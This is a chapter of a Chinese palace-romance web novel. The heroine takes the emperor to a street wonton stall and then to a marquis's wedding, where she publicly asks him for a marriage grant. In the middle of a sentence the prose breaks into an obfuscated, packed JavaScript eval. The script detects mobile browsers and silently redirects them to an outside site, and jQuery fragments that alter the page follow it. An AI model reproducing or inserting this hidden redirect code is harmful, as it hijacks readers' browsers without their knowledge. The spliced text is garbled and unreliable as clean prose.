46. 第 46 章

作品:《帝王替身

    奚筱却摇了摇头,脚步轻快地往外走,一边道:“宫里的早膳日日如此,有什么趣儿?我知道街市有一家馄饨摊,那老伯的手艺可是一绝,汤鲜馅美,陛下,我们去那里尝尝可好?”


    “成,成,都依你。”裴允失笑叹息,语气里满是宠溺,“你说去哪便去哪,只是……总得容我换下这身朝服,穿件常服再去吧?”


    “那陛下可要快些,”奚筱嘴上催促着,身影却状似无意地飘至梳妆台前,指尖若有似无地轻轻拂过光洁的台面,“去晚了,那最好的位置可就让人占去了,我可不等人。”


    裴允此刻满心都是她难得的活泼与亲近,丝毫未曾留意到她那个细微的动作,他只觉两人之间关系日渐升温,宛如最寻常的情人般相约出游,甚至连今日要去的是侯府,极可能会见到奚榆这件最令他芥蒂的事,都暂时抛诸了脑后。


    他很快便换好了一身月白云纹的锦袍出来,裴允本就容貌俊美无俦,褪去威严的朝服,身着常服更显得长身玉立,风姿清雅,宛如谪仙临世,矜贵不可方物。他今日甚至还特意束了玉冠,更添几分清俊。两人并肩而立,一个明艳飒爽,一个清冷矜贵,竟分不出谁更夺目些,只让人觉得是天造地设的一对璧人。


    奚筱只飞快地瞥了他一眼,便连声催促。


    一辆看似朴素的青篷马车早已候在宫门外,两人登上马车,轱辘声声,驶出了重重宫阙。车外,冬日的朝阳正缓缓爬升,金色的光芒如同暖融的纱幔,温柔地笼罩着马车,如影随形,仿佛是他们此行唯一温暖的注脚。


    *


    奚筱用绢帕拭了拭唇角,见裴允面前的馄饨几乎未动,只一味地凝望着自己,她也不甚在意,只微微抬了抬下巴,示意他去结账。


    裴允唇角噙着温柔的笑意,看也未看,便从袖中取出一片澄亮的金叶子,轻轻置于粗糙的木桌上,旋即自然地牵起奚筱的手,朝着停在不远处的马车走去。


    奚筱目光低垂,落在两人交握的手上,眸中光影流转,复杂难辨,终究还是没有甩开。


    行走间,她在他身侧极轻地开口,声音似有若无,带着一丝飘渺的怅惘:“这是我第二次来这家摊子吃馄饨了……可惜,那老伯似乎完全不记得我了。”


    裴允闻言,轻轻捏了捏她微凉的指尖,笑着宽慰:“市井小店,南来北往的食客如过江之鲫,店家每日迎来送往,怎会特意记住一位客人?”


    奚筱似是而非地牵了牵嘴角,那笑容里带着几分自嘲的意味:“或许……是因上次我嫌他做的没油水,怪骂了他几句,他便生了气,故意装作不识得我吧……”


    听她语气低落,似有所指,裴允心中莫名一紧,某种不安的预感悄然掠过,但他不愿在此刻深思,徒增烦扰,只是更紧地回握住她的手,近乎强硬地将她带回了马车厢内。


    不多时,车外便传来喧天的锣鼓唢呐声,人声鼎沸,欢呼笑闹声不绝于耳,显然是有盛大的迎亲队伍经过。奚筱闻声,脸上重新绽开明媚的笑容,掀开车帘一角向外望去,语气带着恰到好处的欣喜:“前面这般热闹,定是侯府的迎亲队伍了!”


    裴允亦笑着看她:“倒不知你原是这般爱瞧热闹的性子,只是街上人流杂乱,恐有冲撞,待到了侯府,再下去观礼不迟。”


    奚筱顺从地点点头,不再多言,只安静地坐着,目光却似无意地扫过窗外熙攘的人群。


    文远侯府门前早已被围得水泄不通,新娘子娘家的弟兄们正使出浑身解数,将一身大红喜服、满面春风的新郎官裴且死死拦在门外,出尽难题,引得周遭看客哄笑连连。


    侯府的下人们抬出一筐筐铜钱和象征“和美”的核桃、红枣等物,洋洋洒洒地抛向人群,引得孩童们欢呼雀跃,争抢嬉闹,气氛热烈非常。


    很快,侯府的老管家便眼尖地瞧见了裴允的马车,急忙拨开人群,恭敬地将二人引入府内,径直往正院招待贵宾之处引去。是以,奚筱只匆匆瞥了几眼门口的热闹,便跟着裴允入了府。


    甫一进入侯府,景象与从前的清雅大相径庭,处处张灯结彩,红绸高挂,入眼皆是一片浓烈喜庆的朱红。侯爷与夫人穿梭于宾客之间,脸上洋溢着止不住的笑意,四处皆是寒暄道贺、其乐融融之声。


    奚筱目光状似不经意地扫过全场,却并未寻到那个牵挂的身影,她微微垂下眼睫,悄然掩去眸中一闪而过的失落。


    裴允似乎敏锐地察觉到了她情绪的细微变化,正欲伸手去牵她,恰在此时,文远侯已瞧见圣驾,赶忙上前躬身问安。只是一个错眼的功夫,待裴允再回头,身旁的奚筱已悄然转身,隐入了往来如织的宾客之中。


    裴允心头蓦地升起一股焦躁,草草敷衍了文远侯几句,目光急切地在人群中搜寻。然而,认出他身份的朝臣越来越多,纷纷上前行礼跪拜,一时竟将他团团围住,脱身不得。他脸色微沉,朝身后不易察觉地使了个眼色,隐在暗处的侍卫立刻会意,无声地分散开,迅速朝着后院方向寻去。


    时间流逝,随着吉时已到,新人拜堂的喧闹声传来,裴允心中的不安愈演愈烈,几乎按捺不住要强行离去。就在此时,他的目光猛地定格在一处。


    只见奚筱正小心翼翼地搀扶着一人从内堂缓步走出。那人面色苍白如纸,身形消瘦,倚靠着她方能勉强站稳,不是奚榆又是谁。


    裴允的眉头瞬间紧锁,脸上已是阴云密布,怒意几乎要破体而出。


    有与文远侯相熟的朝臣见状,已带头起了话头,声音不大不小,却足以让周围不少人听见:“侯爷,这不是府上大公子么?怎的……这身子骨看着比往日更见虚弱了?”


    此言一出,立刻引来一片附和与唏嘘之声。


    “唉,瞧着气色,实在是不好……”


    “难怪这爵位……”


    “小侯爷都成家了,大公子这……唉……”


    众人窃窃私语,目光中带着怜悯、探究乃至一丝轻慢,很快便又将话题转回了今日的新郎官身上,仿佛奚榆只是个无足轻重的存在。


    奚筱扶着奚榆,目光却在宾客中快速搜寻,很快,她锁定了一个穿着分外花哨,却又试图降低存在感的身影。


    尹怀思察觉到她的视线,目光下意识地闪躲,但在她冰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377474|183527||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冷而坚持的注视下,妥协般咬了咬牙,朝着不远处几个聚在一起的年轻学子使了个眼色。


    那几个学子显然是新入朝的官员,因仰慕秦阁老的缘故,近来与尹怀思走得颇近。他们听闻了陛下近日雷厉风行铲除藩王的功绩,正是满腔仰慕,又存了攀附之心,此刻被尹怀思稍一鼓动,便觉这是个露脸的好机会。


    一个眼下带着明显青黑的学子率先出列,朝着裴允的方向躬身道:“陛下,学生乃翰林院编修。近日听闻各地藩王因痴信长生谣言,倒行逆施,终遭天谴,自食恶果,实乃大快人心,此乃天佑我元楚,天命归一,陛下真龙在世,文治武功,实乃万民之福!”


    另一位素来看不惯这等阿谀之词的官员立刻冷声反驳:“荒谬,长生之言,最初乃是由秦公子‘无心’传出,你此番言论,岂非暗指朝廷设计构陷,致使藩王覆灭?”


    那学子闻言,顿时吓得脸色煞白,慌忙跪下磕头:“陛下明鉴,下官绝无此意,下官万万不敢,下官只是……只是……”他急得语无伦次,磕头声砰砰作响,在这喜庆的场合显得格外刺耳突兀。


    就在这时,奚筱已安置好奚榆,从容地从后方走上前来,她先是朝着裴允端端正正行了一个大礼,随即转向那名发难的官员,声音清晰而冷静,瞬间吸引了全场目光:“这位大人言重了,各地藩王拥兵自重,野心勃勃,早已不将朝廷威仪放在眼中,其覆灭之祸,根源在于其自身贪念不休,妄图以邪术逆天改命,追寻那虚无缥缈的不死药,乃是自作孽,不可活!与我元楚何干?与陛下何干?”


    那官员被一个陌生女子当众驳斥,顿觉颜面大失,勃然怒道:“你是何人?此地焉有你一介女子插嘴的份?简直不知礼数!”


    奚筱却看也不看裴允此刻已是何等难看的脸色,径直站起身,目光平静地扫过全场惊疑不定的面孔,朗声道:“我便是那个被各地藩王误认为身负巫族血脉、能通长生之秘,从而千方百计想要活捉的人。”


    她顿了顿,声音陡然提高,带着一种莫名的意味:“长生之言,纯属子虚乌有,他们不过是为自己的贪婪找了个冠冕堂皇的借口,最终作茧自缚,招致灭顶之灾,实乃天道轮回!”


    话音未落,她猛地转向裴允,目光灼灼,声音陡然变得无比忠诚与激昂,仿佛是位鞠躬尽瘁的忠臣:“陛下,您昔日曾应允民女,他日若有所求,必当恩准!此话,可还作数?可否就在今日兑现?”


    裴允只觉得心脏骤然一阵剧烈的抽痛,仿佛有无数根针同时刺入,胸腹间那股熟悉的、属于情蛊的躁动疯狂翻涌,几乎要破体而出!与此同时,剧烈的头痛排山倒海般袭来,眼前的一切开始变得模糊摇晃,他甚至看不清奚筱此刻脸上究竟是何种表情。


    他张了张嘴,三番两次试图打断她,阻止那即将脱口而出的话,可胸腔如同被巨石死死压住,竟发不出半点声音。


    “求陛下为民女赐婚侯府大公子裴允!”奚筱的声音清亮而坚定,穿透了现场的嘈杂,她朝着裴允的方向深深叩首下去,额头轻触冰冷的地面,“民女对其一见倾心,此生非他不嫁!”